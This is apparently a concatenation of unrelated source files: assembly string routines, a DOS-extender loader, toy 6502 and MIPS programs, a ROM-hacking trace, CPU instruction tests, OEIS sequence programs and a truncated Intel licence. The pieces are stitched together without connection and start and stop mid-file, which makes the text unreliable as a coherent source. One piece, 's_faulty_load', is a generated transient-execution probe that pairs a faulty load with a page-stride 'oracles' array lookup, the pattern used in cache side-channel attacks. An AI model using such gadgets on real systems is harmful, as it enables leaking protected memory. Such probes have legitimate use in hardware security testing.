< 0 ) ; ret = -1 ; ; else if ( ret > 0 ) ; ret = 1 ; ; return ret; ; } ; ++first; ; ++last; ; } ; ; return 0; ; } ; ;Entry: ; const char * first - string for left-hand side of comparison ; const char * last - string for right-hand side of comparison ; size_t count - maximum number of characters to compare; if ; strings equal to that point consider them equal ; ;Exit: ; EAX < 0, 0, or >0, indicating whether the first string is ; Less than, Equal to, or Greater than the second string. ; ; Note: For compatibility with other versions of this routine ; the returned value is limited to {-1, 0, 1}. ; ;Uses: ; ECX, EDX ; ;Exceptions: ; ;******************************************************************************* CODESEG CHAR_TYPE EQU BYTE CHAR_PTR EQU BYTE PTR CHAR_SIZE = sizeof CHAR_TYPE BLK_TYPE EQU DWORD BLK_PTR EQU DWORD PTR BLK_SIZE = sizeof BLK_TYPE BLK_CHARS = BLK_SIZE / CHAR_SIZE PAGE_SIZE = 1000h PAGE_MASK = PAGE_SIZE - 1 ; mask for offset in MM page PAGE_SAFE_BLK = PAGE_SIZE - BLK_SIZE ; maximum offset for safe block compare public strncmp strncmp proc \ uses ebx esi, \ str1:ptr byte, \ str2:ptr byte, \ count:IWORD OPTION PROLOGUE:NONE, EPILOGUE:NONE push ebx push esi ; .FPO (cdwLocals, cdwParams, cbProlog, cbRegs, fUseBP, cbFrame) .FPO ( 0, 3, $ - strncmp, 2, 0, 0 ) mov ecx,[esp + 12] ; ecx = str1 mov edx,[esp + 16] ; edx = str2 mov ebx,[esp + 20] ; ebx = count ; Check for a limit of zero characters. test ebx, 0FFFFFFFFh jz return_equal sub ecx, edx test edx, (BLK_SIZE - 1) jz dword_loop_begin comp_head_loop_begin: movzx eax, CHAR_PTR[ecx+edx] cmp al, CHAR_PTR[edx] jnz return_not_equal test eax, eax jz return_equal inc edx sub ebx, 1 jbe return_equal test dl, (BLK_SIZE - 1) jnz comp_head_loop_begin dword_loop_begin: lea eax, [ecx+edx] and eax, PAGE_MASK cmp eax, PAGE_SAFE_BLK ja comp_head_loop_begin mov eax, BLK_PTR[ecx+edx] cmp eax, BLK_PTR[edx] jne comp_head_loop_begin sub ebx, BLK_CHARS jbe return_equal lea esi, [eax+0fefefeffh] add edx, BLK_SIZE not eax and eax, esi test eax, 80808080h jz dword_loop_begin return_equal: xor eax, eax pop esi pop ebx ret align 16 return_not_equal: sbb eax, eax ; AX=-1, CY=1 AX=0, CY=0 or eax, 1 pop esi pop ebx ret strncmp endp end
#include <cstdio> #include <iostream> #include <cmath> #include <algorithm> #include <cstring> #include <map> #include <set> #include <vector> #include <utility> #include <queue> #include <stack> #include <cassert> #define sd(x) scanf("%d",&x) #define sd2(x,y) scanf("%d%d",&x,&y) #define sd3(x,y,z) scanf("%d%d%d",&x,&y,&z) #define fi first #define se second #define pb(x) push_back(x) #define mp(x,y) make_pair(x,y) #define LET(x, a) __typeof(a) x(a) #define foreach(it, v) for(LET(it, v.begin()); it != v.end(); it++) #define _ ios_base::sync_with_stdio(false);cin.tie(NULL);cerr.tie(NULL); #define __ freopen("input.txt","r",stdin);freopen("output.txt","w",stdout); #define meta __FUNCTION__<<" "<<__LINE__<<" " #define tr(x) cerr<<meta<<#x<<" "<<x<<endl; #define tr2(x,y) cerr<<meta<<#x<<" "<<x<<" "<<#y<<" "<<y<<endl; #define tr3(x,y,z) cerr<<meta<<#x<<" "<<x<<" "<<#y<<" "<<y<<" "<<#z<<" "<<z<<endl; #define tr4(w,x,y,z) cerr<<meta<<#w<<" "<<w<<" "<<#x<<" " <<x<<" "<<#y<<" "<<y<<" "<<#z<<" "<<z<<endl; #define tr5(v,w,x,y,z) cerr<<meta<<#v<<" "<<v<<" "<<#w<<" "<<w<<" "<<#x<<" "<<x<<" "<<#y<<" "<<y<<" "<<#z<<" "<<z<<endl; #define tr6(u,v,w,x,y,z) cerr<<meta<<#u<<" "<<u<<" "<<#v<<" "<<v<<" "<<#w<<" "<<w<<" "<<#x<<" "<<x<<" "<<#y<<" "<<y<<" "<<#z<<" "<<z<<endl; using namespace std; const long long N = 101; long long n, a[N]; long long p, q, mn, ans; int main(){ cin >> n; for(long long i = 0; i < n; i++) cin >> a[i]; cin >> p >> q; sort(a, a+n); long long ptr; mn = 1e9, ptr = -1, ans = p; for(long long i = 0; i < n; i++){ if(a[i] >= p and ptr == -1) ptr = i; a[i] = abs(a[i] - p); mn = min(mn, a[i]); } long long sub = p, prev = -1; if(ptr == 0) prev = 0; else prev = a[ptr-1]; for(long long i = ptr; i < n; i++){ a[i] -= (sub-p); long long tmp = (prev+a[i])/2; if(tmp > mn){ mn = tmp; sub += a[i]-tmp; if(sub <= q){ ans = sub; } } sub += a[i]; a[i] = 0; prev = 0; } cout << ans << endl; return 0; }
#include "CoreTimeout.h" using namespace leka; using namespace std::chrono; void CoreTimeout::onTimeout(callback_t const &callback) { _callback = callback; } void CoreTimeout::start(microseconds countdown) { stop(); _timeout.attach({this, &CoreTimeout::timeout}, countdown); } void CoreTimeout::stop() { _timeout.detach(); } void CoreTimeout::timeout() const { _callback(); }
; This file is part of the ZRDX 0.50 project ; (C) 1998, Sergey Belyakov ; Loader for XE packed modules ; This code is based on XELOADER stub, ; written by Kevin Tseng, the author of XLE packer xeh_ID = 0 xeh_version = 2 xeh_image_offset = 4 xeh_relocs_offset = 8 xeh_objtbl_offset = 12 xeh_codedata_length = 16 xeh_image_length = 20 xeh_relocs_length = 24 xeh_objtbl_length = 28 xeh_memory_length = 32 xeh_uc_image_length = 36 xeh_uc_relocs_length = 40 xeh_bss_length = 44 xeh_flags = 48 xeh_entry_point = 52 xeh_stack_point = 56 xeh_resource_offset = 60 xeh_image_comp = 64 xeh_relocs_comp = 65 xeh_LENGTH = 66 xeh_ic_none = 0 xeh_ic_lzss = 1 xeh_ic_lzh = 2 xeh_ic_apx = 3 ;+ xeh_ic_xpa = 4 ;+ xeh_ic_max = 5 ;+ xeh_rl_none = 0 xeh_rl_lzss = 1 xeh_rl_lzh = 2 xeh_rl_apx = 3 ;+ xeh_rl_xpa = 4 ;+ xeh_rl_max = 5 ;+ _DFLL MACRO Name, N Name equ [ebp][N] ENDM DFLL MACRO Name, N _DFLL Name, %_LBase _LBase = _LBase+N ENDM _LBase = -128 VSegm IEBSS DFB LoaderStack, 400h; dup(?) ;DFD FileHandle ;DFD lSavedPSP DFL LoaderStackEnd EVSeg IEBSS DFLL __psp ,4; dw ? DFLL fhandle, 4 ;dd ? DFLL lecodesel, 4 DFLL relomem,4 ;dd ? DFLL leoffs ,4 ;dd ? DFLL progmem,4 ;dd ? DFLL rlocmem,4 ;dd ? DFLL progbsz,4 ;dd ? DFLL rlocbsz,4 ;dd ? DFLL proghnd,4 ;dd ? DFLL rlochnd,4 ;dd ? DFLL tprogmem,4 ;dd ? ;SB DFLL buff , 200h ; db 0ach dup (?) Segm IEText assume ds:nothing, cs:IETextG, ss:LGroup Loader PROC @@DefLDErr MACRO ErrLabel, ErrMsg, NoJmp Segm IEData @@LDErrM = $ LLabel ErrLabel&EM DB ErrMsg ESeg IEData ErrLabel: mov edi, offset LGroup:@@LDErrM jmp short @@DispLDError ENDM @@DefLDErr ErrNoDPMIMemory,'out of DPMI memory$' @@DefLDErr @@ErrFile ,"can't read EXE file$" @@DefLDErr @@ErrEXE ,'bad EXE format$' @@DefLDErr @@ErrComp ,'invalid compression type$' @@DefLDErr @@ErrReloc ,'invalid reloc type$' @@DefLDErr ErrAllocSel ,"can't allocate selector$" @@DefLDErr ErrLock ,"can't lock extender$" @@DefLDErr @@ErrTransferBuf,"can't allocate transfer buffer$" Segm IEData LLabel LoadErrMsg DB 'ZRDX loader error: $' LoadErrMsg1 DB 13, 10, '$' ;must be at the bottom of iedata! LLabel localmembase LDWord lSavedPSP DD 0 LDWord FileHandle DD 0 LDWord LECodeSelector DD 0 ESeg IEData @@DispLDError: push ss pop ds mov ah, 9 mov edx, offset LGroup:LoadErrMsg int 21h mov edx, edi int 21h mov edx, offset LGroup:LoadErrMsg1 int 21h mov ax, 4CFFh int 21h LoaderEntry: mov edi, esp push ss pop es and dword ptr es:[edi].DC_SP, 0 mov byte ptr es:[edi].DC_EAX[1], 4Ah mov ax, seg dgroup16 sub eax, 10h mov word ptr es:[edi].DC_ES, ax mov word ptr es:[edi].DC_EBX, MouseRHandlerPSize+10h org $-2 LLabel MemBlock0Size DW MouseRHandlerPSize+10h pushfd pop eax mov word ptr es:[edi].DC_Flags, ax mov bx, 21h mov ax, 300h int 31h mov bx, 810h LLabel PatchPointTStSz mov ax, 100h int 31h $ifnot jnc cmp bx, 100h jb @@ErrTransferBuf mov ax, 100h int 31h jc @@ErrTransferBuf $endif movzx ebx, bx shl ebx, 4 add ds:TransferStack, ebx add ds:TransferDTA, ebx mov ds:TransferSelector, dx mov gs, edx mov ds:TransferSegment, ax mov dx, offset OffDefaultDTA mov ah, 1Ah int 21h ;---- setup exception handlers ------- mov ecx, ebp ;extender code selector mov dx, OffExc3Handler mov bl, 3 mov ax, 203h int 31h mov dx, OffExc0Handler mov bl, 0 mov ax, 203h int 31h mov dx, offset EGroup:ExceptionHandler mov di, 10111111b $do shr edi, 1 $ifnot jc mov ax, 203h int 31h add edx, 4 $endif inc ebx cmp bl, 32 $enddo jb push fs pop ds push ds pop es around: cld mov ebp, offset ds:localmembase+128 ; read EXE block ;mov ecx, 40h ;changed from 32 to 40h by SB ;lea edx, buff call read_buff200 mov ecx, dword ptr buff[40h-4] mov leoffs,ecx ; seek to, read LE header call seek1 ; read in xE mov ecx, xeh_LENGTH call read_buff ; xE? cmp word ptr buff,"EX" jne @@ErrEXE ; allocate enough memory for relocs and program mov ecx,dword ptr buff+xeh_memory_length mov al,byte ptr buff+xeh_image_comp cmp al,xeh_ic_max ;jae comperr jae @@ErrComp or al,al jz no_image_comp cmp dword ptr buff+xeh_bss_length,19 jae no_image_comp add ecx,19 no_image_comp: add ecx,2 mov progbsz,ecx call dpmiallocmem mov progmem,ebx mov proghnd,esi mov ecx,dword ptr buff+xeh_uc_relocs_length mov al,byte ptr buff+xeh_relocs_comp cmp al,xeh_rl_max jae @@ErrComp ;jae comperr or al,al jz no_reloc_comp add ecx,19 no_reloc_comp: cmp ecx,dword ptr buff+xeh_objtbl_length jae relocs_larger_than_objtbl mov ecx,dword ptr buff+xeh_objtbl_length relocs_larger_than_objtbl: mov rlocbsz,ecx call dpmiallocmem mov rlocmem,ebx mov rlochnd,esi ; read in program image mov ecx,dword ptr buff+xeh_image_offset call seek mov ecx,dword ptr buff+xeh_image_length mov edx,progmem mov al,byte ptr buff+xeh_image_comp or al,al jz no_image_comp_2 ;it's either LZSS or LZH add edx,progbsz sub edx,dword ptr buff+xeh_image_length sub edx,2 ;LZH _may_ read two bytes extra, so try to ;avoid page faults push edx call read pop esi mov edi,progmem cmp byte ptr buff+xeh_image_comp,xeh_ic_xpa jz image_comp_xpa cmp byte ptr buff+xeh_image_comp,xeh_ic_apx jz image_comp_apx ;cmp byte ptr buff+xeh_image_comp,xeh_ic_lzh ;- ;jz image_comp_lzh ;- ;call delz ;- ;jmp short image_comp_done ;- image_comp_lzh: ;mov eax,dword ptr buff+xeh_uc_image_length ;- ;call delzh ;- jmp short image_finish image_comp_apx: call deapx ; jmp short image_finish image_comp_xpa: call dexpa ; jmp short image_finish image_comp_done: ;jmp short image_finish ;- no_image_comp_2: ;no comp call read image_finish: ; clear BSS region ; this must be done before relocs due to WLINK's trick ; (see note in xLE.C) ;+ mov edi,progmem mov ecx,dword ptr buff+xeh_bss_length add edi,dword ptr buff+xeh_uc_image_length xor eax,eax rep stosb ; Read in object table and make holes between objects. mov ecx,dword ptr buff+xeh_objtbl_offset call seek mov ecx,dword ptr buff+xeh_objtbl_length mov edx,rlocmem call read ; EBX: image data left ; EDX: object data pointer ; EBP: program pointer mov edx,rlocmem ;mov ebp,progmem mov eax, progmem mov tprogmem, eax mov ebx,dword ptr buff+xeh_uc_image_length std object_loop: movzx ecx,word ptr [edx+0] ;number of 4K image pages shl ecx,12 ;add ebp,ecx add tprogmem, ecx ;+SB sub ebx,ecx sbb eax,eax or ebx,eax xor ebx,eax movzx eax,word ptr [edx+2] ;number of 4K zeroed pages cmp eax,0000ffffh jz object_loop@done shl eax,12 add edx,4 mov ecx,ebx ; lea esi,[ebp+ecx-4] ;move remainder of image up to make room lea esi, [ecx-4] ;+SB add esi, tprogmem ;+SB lea edi,[esi+eax] shr ecx,2 std rep movsd cld ;zero area ;mov edi,ebp ;add ebp,eax mov edi, tprogmem ;SB add tprogmem, eax ;SB mov ecx,eax shr ecx,2 xor eax,eax rep stosd jmp short object_loop object_loop@done: ; do we even have any relocs? if not, skip this section mov eax,dword ptr buff+xeh_uc_relocs_length or eax,eax jz no_relocs ; read in relocs mov ecx,dword ptr buff+xeh_relocs_offset call seek mov ecx,dword ptr buff+xeh_relocs_length mov edx,rlocmem mov al,byte ptr buff+xeh_relocs_comp or al,al jz no_relocs_comp_2 ; it's either LZSS or LZH add edx,rlocbsz sub edx,dword ptr buff+xeh_relocs_length push edx call read pop esi mov edi,rlocmem cmp byte ptr buff+xeh_relocs_comp,xeh_rl_xpa jz relocs_comp_xpa cmp byte ptr buff+xeh_relocs_comp,xeh_rl_apx jz relocs_comp_apx ;cmp byte ptr buff+xeh_relocs_comp,xeh_rl_lzh ;- ;jz relocs_comp_lzh ;- ;call delz ;- ;jmp short relocs_comp_done ;- relocs_comp_lzh: ;mov eax,dword ptr buff+xeh_uc_relocs_length ;- ;call delzh ;- jmp short relocs_load_finish relocs_comp_apx: call deapx ; jmp short relocs_load_finish relocs_comp_xpa: call dexpa ; jmp short relocs_load_finish relocs_comp_done: ;jmp short relocs_load_finish ;- no_relocs_comp_2: ;no comp call read relocs_load_finish: ; apply relocs to image mov esi,rlocmem mov edi,progmem apply_relocs_loop: mov dl,[esi] ;reloc type or dl,dl jz end_apply_relocs cmp dl,4 ;jae invalid_reloc_err jae @@ErrReloc xor ecx,ecx mov cx,[esi+1] or ecx,ecx jnz not_zero_relocs mov ecx,00010000h not_zero_relocs: mov ebx,[esi+3] add esi,7 ;apply the reloc apply_reloc_loop_2: test dl,1 jz not_reloc32 add [edi+ebx],edi add ebx,4 not_reloc32: test dl,2 jz not_reloc1648 mov al,[edi+ebx] add ebx,2 or al,al jz useCS mov [edi+ebx-2],ds jmp short not_reloc1648 useCS: ;mov [edi+ebx-2],cs mov eax, lecodesel mov [edi+ebx-2], ax not_reloc1648: dec ecx jz apply_relocs_loop push ebp ;+SB xor ebp,ebp xor eax,eax diff_loop: mov al,[esi] inc esi push eax shl ebp,7 and al,7fh add ebp,eax pop eax test al,80h jnz diff_loop add ebx,ebp pop ebp ;+SB jmp short apply_reloc_loop_2 end_apply_relocs: ;free relocs memory mov ax, 0502h mov edi, rlochnd shld esi, edi, 16 int 31h no_relocs: mov ebx, lecodesel mov eax, dword ptr buff+xeh_stack_point add eax, progmem and eax, 0fffffffch mov ecx, dword ptr buff+xeh_entry_point add ecx, progmem ; ; mov edi, 0 org $-4 LDWord LoaderCodeMemHandle DD 0 shld esi, edi, 16 ;shr esi, 16 mov es,__psp ;set ES push ds pop ss mov esp,eax push ebx push ecx push 0FFFFh ;extender code selector es:ExtenderSel org $-4 LDWord ExtenderSel DD 0 push OffStarter ;extender starter routine mov ax, 502h retf ;************************************************** ; ; ALLOCMEM ; ; ECX number of bytes requested ; ; Return: ; EBX linear address of memory ; ESI handle of memory dpmiallocmem: mov ax,0501h mov ebx,ecx shr ebx,16 int 31h ;jc memerr jc ErrNoDPMIMemory shl ebx,16 mov bx,cx shl esi,16 mov si,di ret ;************************************************** ; SEEK ; ; ECX offset to seek to seek: add ecx, leoffs ;+SB seek1: mov ax,4200h mov ebx,fhandle mov edx,ecx shr ecx,16 int 21h ;jc readerr jc @@ErrFile ret ;************************************************** ; READ ; ; ECX bytes to read ; EDX address to read to read_buff200: xor ecx, ecx mov ch, 2 read_buff: lea edx, buff read_ss:mov ebx, ss jmp short read1 read: mov ebx, ds read1: push ds mov ds, ebx mov ah, 3fh mov ebx, fhandle int 21h pop ds ;jc readerr jc @@ErrFile cmp eax, ecx ;jne readerr jne @@ErrFile ret ;************************************************** ; DEapx - THE BIG ROUTINE ; ; EDI - destination memory ; ESI - source memory ; ; Modified: flags ECX ESI EDI deapx: cld mov ecx,[esi] ;get # of codes add esi,4 rep movsb ret ;************************************************** ;void aP_depack_asm(unsigned char *, unsigned char *); ; DExpa - THE BIG ROUTINE ; ; EDI - destination memory ; ESI - source memory ; ; Modified: eax ebx ecx edx ebp esi edi dexpa: push ebp cld mov al, 80h jmp short nexttag @@LoadByte2: lodsb rcl al, 1 jmp @@EndLoadByte2 @@LoadByte1: lodsb rcl al, 1 jc not_literal literal: movsb nexttag: shl al, 1 jz @@LoadByte1 jnc literal not_literal: ;call getbit shl al, 1 jz @@LoadByte2 @@EndLoadByte2: jnc codepair xor ebx, ebx xor ecx, ecx shl al, 1 jnz @@NLoadByte3 lodsb rcl al,1 @@NLoadByte3: ;call getbit jnc shortmatch mov bl, 8 add ecx, 1 ;inc ecx & clc @@L0: adc bl, bl jc exitlmatchloop shl al, 1 jnz @@L0 lodsb rcl al, 1 jmp @@L0 exitlmatchloop: jnz domatch mov ds:[edi], bl inc edi jmp short nexttag ;jmp short domatch_continue codepair: call getgamma dec ecx dec ecx jnz normalcodepair mov ebx, ebp call getgamma jmp short domatch normalcodepair: dec ecx shl ecx, 8 mov cl, [esi] ;1 u inc esi ;1 v mov ebp, ecx ;1u \ mov ebx, ecx ;1v / 1 call getgamma cmp bh, 5 ;new 1 jb not_gt ;new 2 inc ecx ;new 3 not_gt: ;new 4 cmp ebx, 127 ja domatch inc ecx inc ecx jmp short domatch shortmatch: mov bl, byte ptr ds:[esi] inc esi shr ebx, 1 jz donedepacking adc ecx, 2 mov ebp, ebx ;new 5 domatch: push esi mov esi, edi sub esi, ebx rep movsb pop esi jmp short nexttag ; neg ebx ;matchloop: ; mov ah, [ebx+edi] ; mov [edi], ah ; inc edi ; dec ecx ; jnz matchloop ; jmp short nexttag ;getgammabit: ; rcl ecx, 1 ;getbit: ; shl al, 1 ; jz load_byte ; ret ; ;load_byte: ; ;mov al, [esi] ; ;inc esi ; lodsb ; rcl al, 1 ; ret ;getgamma: ; xor ecx, ecx ; stc ; jmp getgammaentry ;getgammaloop: ; call getbit ;getgammaentry: ; call getgammabit ; jc getgammaloop ; call getbit ; rcl ecx, 1 ; ret getgamma: mov ecx, 1 jmp getgammaentry @@LoadByteG1: lodsb rcl al, 1 jnc endgammaloop getgammaloop: shl al, 1 jnz @@NLoadByteG0 lodsb rcl al, 1 @@NLoadByteG0: rcl ecx, 1 getgammaentry: shl al, 1 jz @@LoadByteG1 jc getgammaloop endgammaloop: shl al, 1 jnz @@NLoadByteG2 lodsb rcl al, 1 @@NLoadByteG2: rcl ecx, 1 retn donedepacking: pop ebp ret ESeg IEText Loader endp
.org $080D .segment "STARTUP" .segment "INIT" .segment "ONCE" .segment "CODE" jmp start valor1 = $123 valor2 = $456 total = $579 start: clc lda #<valor1 adc #<valor2 sta $1000 lda #>valor1 adc #>valor2 sta $1001 lda total sta $1003 rts
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 016B72 move.l A6, (A4) [123p+ 6C, base+6BE4, base+6BF4, base+6C04, base+6C14, base+6C24, base+6C34, base+6C44, base+6C54, base+6C64, base+6C74, base+6C84, base+6C94, base+6CA4, base+6CC4, base+6CD4, enemy+6C] 016B74 addi.b #$10, D1 [base+6BE8, base+6BF8, base+6C08, base+6C18, base+6C28, base+6C38, base+6C48, base+6C58, base+6C68, base+6C78, base+6C88, base+6C98, base+6CA8, base+6CB8, base+6CC8, base+6CD8] 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
.data length:.word 12 breath:.word 15 newline:.asciiz "\n" area:.word 0 .text .globl main main: lw $t0, length lw $t1, breath mul $t2,$t0,$t1 sw $t2, area move $v0,$t2 li $v0,4 la $a0, newline syscall li $v0, 10 syscall
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r9 push %rbp push %rcx push %rdi push %rsi // Store lea addresses_US+0x18d81, %r10 and %rcx, %rcx mov $0x5152535455565758, %rdi movq %rdi, %xmm0 movups %xmm0, (%r10) nop nop nop and $17288, %rbp // Faulty Load lea addresses_US+0x18d81, %r9 nop nop nop and %r13, %r13 mov (%r9), %edi lea oracles, %rsi and $0xff, %rdi shlq $12, %rdi mov (%rsi,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 16}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} <gen_prepare_buffer> {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ; XADD8rr mov al, 0x45 mov bl, 0x56 ;TEST_BEGIN_RECORDING xadd al, bl ;TEST_END_RECORDING
; A279363: Sum of 4th powers of proper divisors of n. ; 0,1,1,17,1,98,1,273,82,642,1,1650,1,2418,707,4369,1,7955,1,10898,2483,14658,1,26482,626,28578,6643,41090,1,62644,1,69905,14723,83538,3027,133923,1,130338,28643,174994,1,236692,1,249170,57893,279858,1,423794,2402,401267,83603,485810,1,644372,15267,659842,130403,707298,1,1053636,1,923538,203525,1118481,29187,1436212,1,1420130,279923,1552084,1,2149411,1,1874178,441957,2215730,17043,2800372,1,2800530,538084,2825778,1,3984036,84147,3418818,707363,4001362,1,5084806,30963,4757570,923603,4879698,130947 mov $1,$0 mov $4,$0 cmp $4,0 add $0,$4 div $1,$0 add $0,1 mov $2,$0 sub $0,1 lpb $0 mov $3,$2 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 pow $3,4 add $1,$3 lpe mov $0,$1
; A188218: Positions of 1 in A188192; complement of A188217. ; 1,2,5,6,7,9,10,11,13,14,15,17,18,19,22,23,24,26,27,28,30,31,32,34,35,36,39,40,41,43,44,45,47,48,49,51,52,53,56,57,58,60,61,62,64,65,66,68,69,70,73,74,75,77,78,79,81,82,83,85,86,87,89,90,91,94,95,96,98,99,100,102,103,104,106,107,108,111,112,113,115,116,117,119,120,121,123,124 lpb $0 sub $0,2 mov $2,$0 cal $2,188262 ; Positions of 1 in A188260; complement of A188261. mov $0,1 add $2,1 add $1,$2 lpe add $1,$0 add $1,1
;; ;; Copyright (c) 2018-2021, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, 